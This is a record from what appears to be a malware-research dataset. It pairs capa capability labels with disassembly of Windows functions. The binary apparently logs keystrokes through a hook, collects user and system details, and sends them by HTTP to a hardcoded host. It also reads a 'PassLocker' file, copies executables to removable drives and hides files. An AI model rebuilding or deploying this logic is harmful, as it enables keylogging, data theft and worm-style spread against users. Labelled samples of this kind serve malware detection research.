joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ca2
Capabilities:
Enumerate processes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
call fcn.00406b53
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
cmp dword [0x40de30], 0
je 0x402dd6
mov dword [esp + 4], 0
mov dword [esp], 2
mov eax, dword [0x40c030]
call eax
sub esp, 8
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x148], 0x128
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
je 0x402d92
cmp dword [ebp - 0x140], 0
je 0x402d6f
mov dword [esp + 4], str.ashcv.exe
lea eax, [ebp - 0x148]
add eax, 0x24
mov dword [esp], eax
call fcn.00406090
test eax, eax
je 0x402d4b
mov dword [ebp - 0xc], 1
mov dword [esp + 4], str.com7.exe
lea eax, [ebp - 0x148]
add eax, 0x24
mov dword [esp], eax
call fcn.00406090
test eax, eax
je 0x402d6f
mov dword [ebp - 0x10], 1
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
mov dword [ebp - 0x150], eax
jmp 0x402d15
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp], 0x40c0d0
call fcn.004048a0
test eax, eax
jne 0x402dd6
mov dword [esp], 0x40c0d0
call fcn.00404a0e
mov dword [esp + 4], 0x27
mov dword [esp], 0x40c0d0
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
cmp dword [ebp - 0xc], 0
jne 0x402e62
mov dword [esp], 0x48e290
call fcn.00404852
test eax, eax
jne 0x402e22
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48e290
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48e290
call fcn.00402be0
jmp 0x402e62
mov dword [esp], 0x48e290
call fcn.00402c78
test eax, eax
jne 0x402e62
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48e290
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48e290
call fcn.00402be0
cmp dword [ebp - 0x10], 0
jne 0x402eee
mov dword [esp], 0x53f290
call fcn.00404852
test eax, eax
jne 0x402eae
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402be0
jmp 0x402eee
mov dword [esp], 0x53f290
call fcn.00402c78
test eax, eax
jne 0x402eee
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402be0
leave
ret
Function at 0x40368b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov dword [ebp - 0x21c], 0
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sub.ntdll.dll_memset
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
mov dword [esp], 0x100
call sub.KERNEL32.dll_GetLogicalDriveStringsA
sub esp, 8
mov dword [ebp - 0x21c], 0
cmp dword [ebp - 0x21c], 0xff
jg 0x4037c6
lea eax, [ebp - 8]
add eax, dword [ebp - 0x21c]
sub eax, 0x200
cmp byte [eax], 0
je 0x4037b8
lea eax, [ebp - 8]
add eax, dword [ebp - 0x21c]
sub eax, 0x200
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x61
je 0x4037b8
lea eax, [ebp - 8]
add eax, dword [ebp - 0x21c]
sub eax, 0x200
movsx eax, byte [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c:_
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 2
jne 0x4037b8
mov dword [esp + 0x10], str..exe
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x218]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0x108]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x108]
mov dword [esp], eax
call fcn.00404852
test eax, eax
jne 0x4037b8
lea eax, [ebp - 0x108]
mov dword [esp], eax
call fcn.00402f94
lea eax, [ebp - 0x21c]
add dword [eax], 4
jmp 0x4036df
leave
ret

Function at 0x403934
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetSpecialFolderLocation
sub esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40397c
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.SHELL32.DLL_SHGetPathFromIDListA
sub esp, 8
mov eax, dword [ebp + 8]
leave
ret
Function at 0x403c5c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x11c], 0x100
cmp dword [ebp - 0x11c], 0
js 0x403d0a
lea eax, [ebp - 8]
add eax, dword [ebp - 0x11c]
sub eax, 0x100
cmp byte [eax], 0
je 0x403cfc
lea eax, [ebp - 8]
add eax, dword [ebp - 0x11c]
sub eax, 0x100
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x61
je 0x403cfc
lea eax, [ebp - 8]
add eax, dword [ebp - 0x11c]
sub eax, 0x100
movsx eax, byte [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c:_
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 3
jne 0x403cfc
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00403d0c
lea eax, [ebp - 0x11c]
sub dword [eax], 4
jmp 0x403c6f
leave
ret
Function at 0x403ec8
Capabilities:
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x430], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp + 4], 0x40a84c
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4040b9
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
shr eax, 4
xor eax, 1
and eax, 1
test eax, eax
je 0x403f75
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
jg 0x403f75
cmp dword [ebp - 0x430], 6
jg 0x403f75
lea eax, [ebp - 0x430]
inc dword [eax]
jmp 0x403f1b
cmp dword [ebp - 0x42c], 0
jle 0x4040ae
mov byte [ebp - 0x428], 0
mov byte [ebp - 0x427], 0
mov byte [ebp - 0x426], 0
mov byte [ebp - 0x425], 0
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
lea eax, [ebp - 0x428]
mov dword [esp], eax
call fcn.00404536
mov dword [esp + 4], 0x40a850
lea eax, [ebp - 0x428]
mov dword [esp], eax
call fcn.00406090
test eax, eax
jne 0x4040ae
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x4d
call sub.msvcrt.dll_fputc
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x72
call sub.msvcrt.dll_fputc
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x39
call sub.msvcrt.dll_fputc
mov dword [ebp - 0x434], 3
mov eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0x42c]
jge 0x4040ae
lea eax, [ebp - 8]
add eax, dword [ebp - 0x434]
sub eax, 0x410
movsx eax, byte [eax]
add eax, 0x63
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0xff
jle 0x404082
lea eax, [ebp - 0x438]
sub dword [eax], 0x100
mov eax, dword [ebp - 0x438]
mov byte [ebp - 0x439], al
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
movsx eax, byte [ebp - 0x439]
mov dword [esp], eax
call sub.msvcrt.dll_fputc
lea eax, [ebp - 0x434]
inc dword [eax]
jmp 0x404042
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
leave
ret
Function at 0x4040bb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40414f
lea eax, [ebp + 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40414f
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
jmp 0x40416a
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp + 0x14]
mov byte [eax], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x404a0e
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
lea eax, [ebp - 0x408]
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x404a2d
jmp 0x404aac
mov eax, dword [ebp + 8]
cmp byte [eax], 0
je 0x404a83
mov eax, dword [ebp + 8]
cmp byte [eax], 0x5c
jne 0x404a66
mov eax, dword [ebp - 0x40c]
mov byte [eax], 0
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.004048a0
test eax, eax
jne 0x404a66
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.msvcrt.dll__mkdir
mov eax, dword [ebp - 0x40c]
mov edx, eax
mov eax, dword [ebp + 8]
inc dword [ebp + 8]
movzx eax, byte [eax]
mov byte [edx], al
lea eax, [ebp - 0x40c]
inc dword [eax]
jmp 0x404a2d
mov eax, dword [ebp - 0x40c]
mov byte [eax], 0
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.004048a0
test eax, eax
jne 0x404aac
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.msvcrt.dll__mkdir
leave
ret

Function at 0x404b27
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea eax, [ebp - 0x198]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sub.WS2_32.DLL_WSAStartup
sub esp, 8
test eax, eax
je 0x404b59
mov dword [ebp - 0x19c], 0
jmp 0x404b9a
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], edx
cmp dword [eax], 0xffffffff
jne 0x404b90
mov dword [ebp - 0x19c], 0
jmp 0x404b9a
mov dword [ebp - 0x19c], 1
mov eax, dword [ebp - 0x19c]
leave
ret
Function at 0x404be7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x30], 0
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 6
lea eax, [ebp - 0x2c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.WS2_32.DLL_getaddrinfo
sub esp, 0x10
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x404c59
mov dword [ebp - 0x34], 0
jmp 0x404cc4
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], edx
cmp dword [eax], 0xffffffff
jne 0x404c8d
mov dword [ebp - 0x34], 0
jmp 0x404cc4
mov dword [esp + 8], 0x10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call sub.WS2_32.DLL_connect
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x404cbd
mov dword [ebp - 0x34], 0
jmp 0x404cc4
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x34]
leave
ret
Function at 0x404f8f
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x12c]
jbe 0x404fed
mov eax, dword [ebp - 0x12c]
mov edx, dword [ebp + 8]
mov eax, dword [ebp + eax*4 - 0x124]
cmp eax, dword [edx]
jne 0x404fe3
jmp 0x404fed
lea eax, [ebp - 0x12c]
inc dword [eax]
jmp 0x404fbf
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x12c]
jne 0x40501e
cmp dword [ebp - 0x128], 0x3f
ja 0x40501e
mov edx, dword [ebp - 0x12c]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [ebp + edx*4 - 0x124], eax
lea eax, [ebp - 0x128]
inc dword [eax]
lea eax, [ebp - 0x18]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
inc eax
mov dword [esp], eax
call sub.WS2_32.DLL_select
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x405064
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x130], eax
jmp 0x4050e3
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call sub.WS2_32.DLL___WSAFDIsSet
sub esp, 8
test eax, eax
je 0x4050d9
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call sub.WS2_32.DLL_recv
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x4050bc
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x130], eax
jmp 0x4050e3
cmp dword [ebp - 0xc], 0
jne 0x4050ce
mov dword [ebp - 0x130], 0xffffffff
jmp 0x4050e3
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x130], eax
jmp 0x4050e3
mov dword [ebp - 0x130], 0
mov eax, dword [ebp - 0x130]
leave
ret

Function at 0x4051fb
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call sub.WS2_32.DLL_send
sub esp, 0x10
leave
ret
Function at 0x405312
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
call fcn.00406c3b
call fcn.00406caf
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40534b
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40535a
mov dword [ebp - 8], 1
jmp 0x4053a1
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 4]
mov dword [esp + 8], eax
mov dword [esp + 4], sym.a.exe_CeyEvent_12
mov dword [esp], 0xd
call sub.USER32.dll_SetWindowsHookExA
sub esp, 0x10
mov dword [0x40c4d0], eax
call fcn.00405729
mov eax, dword [0x40c4d0]
mov dword [esp], eax
call sub.USER32.dll_UnhookWindowsHookEx
sub esp, 4
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
leave
ret
Function at 0x405779
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x6c
mov dword [esp], 0x40add8
call sub.msvcrt.dll_getenv
mov ebx, eax
mov dword [esp], str.ComSpec
call sub.msvcrt.dll_getenv
mov esi, eax
mov dword [esp], str.windir
call sub.msvcrt.dll_getenv
mov edi, eax
mov dword [esp], str.ALLUSERSPROFILE
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x10], eax
mov dword [esp], str.USERPROFILE
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x14], eax
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x18], eax
mov dword [esp], str.USERDOMAIN
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x1c], eax
mov dword [esp], str.HOMEPATH
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x20], eax
mov dword [esp], str.HOMEDRIVE
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x24], eax
mov dword [esp], str.LOGONSERVER
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x28], eax
mov dword [esp], str.PROCESSOR_IDENTIFIER
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x2c], eax
mov dword [esp], 0x40ae53
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x30], eax
call fcn.00406174
mov dword [ebp - 0x34], eax
mov dword [esp], str.COMPUTERNAME
call sub.msvcrt.dll_getenv
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x38], esi
mov dword [esp + 0x34], edi
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x30], edx
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x2c], edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x28], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 0x24], edx
mov edx, dword [ebp - 0x20]
mov dword [esp + 0x20], edx
mov edx, dword [ebp - 0x24]
mov dword [esp + 0x1c], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x18], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x34]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str.MailOu_At_This_Computer_Name_:__s_n_t_tLocal_Time_:__s_n_t_tOS_:__s_n_t_tPROCESSOR_IDENTIFIER_:__s_n_t_tLOGON_SERVER_:__s_n_t_tHOME_DRIVE_:__s_n_t_tHOME_PATH_:__s_n_t_tUSER_DOMAIN_:__s_n_t_tUSER_NAME_:__s_n_t_tUSER_PROFILE_:__s_n_t_tALL_USERS_PROFILE_:__s_n_t_tWINDOWS_DIR_:__s_n_t_tCOM_SPEC_:__s_n_t_tPATH_EXT_:__s_n_t_tPeace_On_You._n
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
mov eax, dword [ebp + 8]
add esp, 0x6c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40593e
Capabilities:
Query environment variable
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4138
call fcn.00407a90
mov dword [esp + 8], 0x2000
mov dword [esp + 4], 0
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [esp + 8], 0x2000
mov dword [esp + 4], 0
lea eax, [ebp - 0x4008]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [esp + 8], 0x408476
mov dword [esp + 4], str.www.ibayme.eb2a.com
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404be7
test eax, eax
jne 0x4059b5
mov dword [ebp - 0x410c], 0
jmp 0x405ac0
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40a080
lea eax, [ebp - 0x4088]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
cmp byte [ebp - 0x4088], 0
je 0x405a10
lea eax, [ebp - 0x4088]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x4088]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4108]
mov dword [esp], eax
call fcn.00405f9d
jmp 0x405a2e
mov dword [esp + 8], 7
mov dword [esp + 4], str.Unknown
lea eax, [ebp - 0x4108]
mov dword [esp], eax
call fcn.00405f9d
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4008]
mov dword [esp], eax
call fcn.00405f9d
mov dword [esp + 0x14], str.www.ibayme.eb2a.com
lea eax, [ebp - 0x4008]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x4108]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._code.php
mov dword [esp + 4], str.GET__s_modecbusr_scb_s_HTTP_1.1_r_nHost:__s_r_nConnection:_Keep_Alive_r_nUser_Agent:_Mozilla_5.0__Windows__U__Windows_NT_5.1__ar__rv:1.9.0.5__Gecko_2008120122_Firefox_3.0.5_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9___q0.8_r_nAccept_Language:_en_en_us_q0.7_en_q0.3_r_nAccept_Encoding:_gzip_deflate_r_nAccept_Charset:_ISO_8859_1_utf_8_q0.7__q0.7_r_n_r_n
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x2008]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004051fb
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404f61
mov dword [ebp - 0x410c], 1
mov eax, dword [ebp - 0x410c]
leave
ret
Function at 0x405d8e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12058
call fcn.00407a90
lea eax, [ebp - 0xc]
mov dword [esp], eax
call fcn.00404b27
lea eax, [ebp - 0x2018]
mov dword [esp], eax
call fcn.00405779
lea eax, [ebp - 0x2018]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x2018]
mov dword [esp + 4], eax
lea eax, [ebp - 0xc]
mov dword [esp], eax
call fcn.0040593e
mov dword [esp + 4], 0x40a0ce
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x201c], eax
cmp dword [ebp - 0x201c], 0
jne 0x405e17
lea eax, [ebp - 0xc]
mov dword [esp], eax
call fcn.00404ba2
mov dword [ebp - 0x12030], 0
jmp 0x405ec0
mov dword [esp + 8], 0x10000
mov dword [esp + 4], 0
lea eax, [ebp - 0x12028]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov eax, dword [ebp - 0x201c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x10000
mov dword [esp + 4], 1
lea eax, [ebp - 0x12028]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x1202c], eax
cmp dword [ebp - 0x1202c], 0
jle 0x405e9b
mov eax, dword [ebp - 0x1202c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x12028]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.PassLocker
mov dword [esp + 4], 0x40af94
lea eax, [ebp - 0xc]
mov dword [esp], eax
call fcn.00405ac8
lea eax, [ebp - 0xc]
mov dword [esp], eax
call fcn.00404ba2
mov eax, dword [ebp - 0x201c]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x1202c]
mov dword [ebp - 0x12030], eax
mov eax, dword [ebp - 0x12030]
leave
ret
Function at 0x40677d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x798
call fcn.00406b53
cmp dword [0x40de30], 0
je 0x40692c
mov dword [ebp - 0x77c], 0
mov dword [esp + 4], 0
mov dword [esp], 2
mov eax, dword [0x40c030]
call eax
sub esp, 8
mov dword [ebp - 0x36c], eax
mov dword [esp + 4], 0
mov dword [esp], 8
mov eax, dword [0x40c030]
call eax
sub esp, 8
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x138], 0x128
mov dword [ebp - 0x368], 0x224
lea eax, [ebp - 0x368]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
call sub.KERNEL32.dll_Module32First
sub esp, 8
lea eax, [ebp - 0x368]
add eax, 0x120
mov dword [esp + 4], eax
lea eax, [ebp - 0x778]
mov dword [esp], eax
call sub.ntdll.dll_strcpy
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x77c], eax
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x36c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], 0
je 0x40690a
cmp dword [ebp - 0x130], 0
je 0x4068e4
mov eax, dword [ebp - 0x130]
mov dword [esp + 4], eax
mov dword [esp], 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0x370], eax
lea eax, [ebp - 0x368]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
call sub.KERNEL32.dll_Module32First
sub esp, 8
lea eax, [ebp - 0x368]
add eax, 0x120
mov dword [esp + 4], eax
lea eax, [ebp - 0x778]
mov dword [esp], eax
call fcn.00406090
test eax, eax
je 0x4068e4
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x77c]
je 0x4068e4
mov dword [ebp - 0x784], 1
jmp 0x406936
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x36c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
mov dword [ebp - 0x780], eax
jmp 0x406859
mov eax, dword [ebp - 0x36c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x784]
leave
ret